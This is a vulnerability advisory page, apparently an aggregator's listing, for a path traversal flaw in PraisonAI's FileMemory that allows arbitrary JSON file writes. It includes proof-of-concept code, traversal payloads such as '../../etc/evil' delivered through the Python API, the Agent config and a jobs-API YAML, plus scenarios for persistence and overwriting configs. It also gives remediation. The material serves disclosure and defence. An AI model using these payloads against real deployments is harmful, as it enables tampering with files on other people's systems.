CVE-2026-55527: PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

Published Aug 25, 2026
·
Updated

Summary

praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:

python self.userpath = self.basepath / userid # LINE 145 — no sanitization

No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:

python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"

self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)

self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"

All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory

mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)

B — Via Agent constructor (memory dict): python from praisonaiagents import Agent

agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

python from pathlib import Path import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid

try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())

Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape

Step 2 — Live exploit (files written outside base):

python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)

TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()

mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)

Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)

High-impact scenarios:

1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |

---

Remediation Suggestion (for maintainers)

Validate and resolve userid before using it in path construction:

python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )

self.userpath = self.basepath / userid

# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )

The same pattern should be applied to basepath parameter.

Other sources

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized userid into self.userpath. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes userid before constructing self.userpath. This issue is fixed in version 1.6.58.

MITRE

Affected Software

2 affected componentsFixes available
PraisonAI praisonaiagents<1.6.58
pip/praisonaiagents<1.6.58
1.6.58

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.6.58
  2. Upgrade

    Upgrade praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.6.58
  3. Configuration

    In FileMemory.__init__(), sanitize/validate the user_id input before setting self.user_path = self.base_path / user_id. Resolve the resulting path and ensure it is within the base directory (e.g., self.user_path.resolve().relative_to(base_resolved)); otherwise raise ValueError.

    FileMemory (praisonaiagents/memory/file_memory.py) user_id path handling = Validate and resolve user_id before constructing self.user_path (must resolve inside base memory directory)

Event History

Aug 25, 2026
CVE Published
via MITRE·03:09 PM
Data Sourced
via MITRE·03:09 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·03:09 PM
Data Sourced
via GitHub·03:09 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203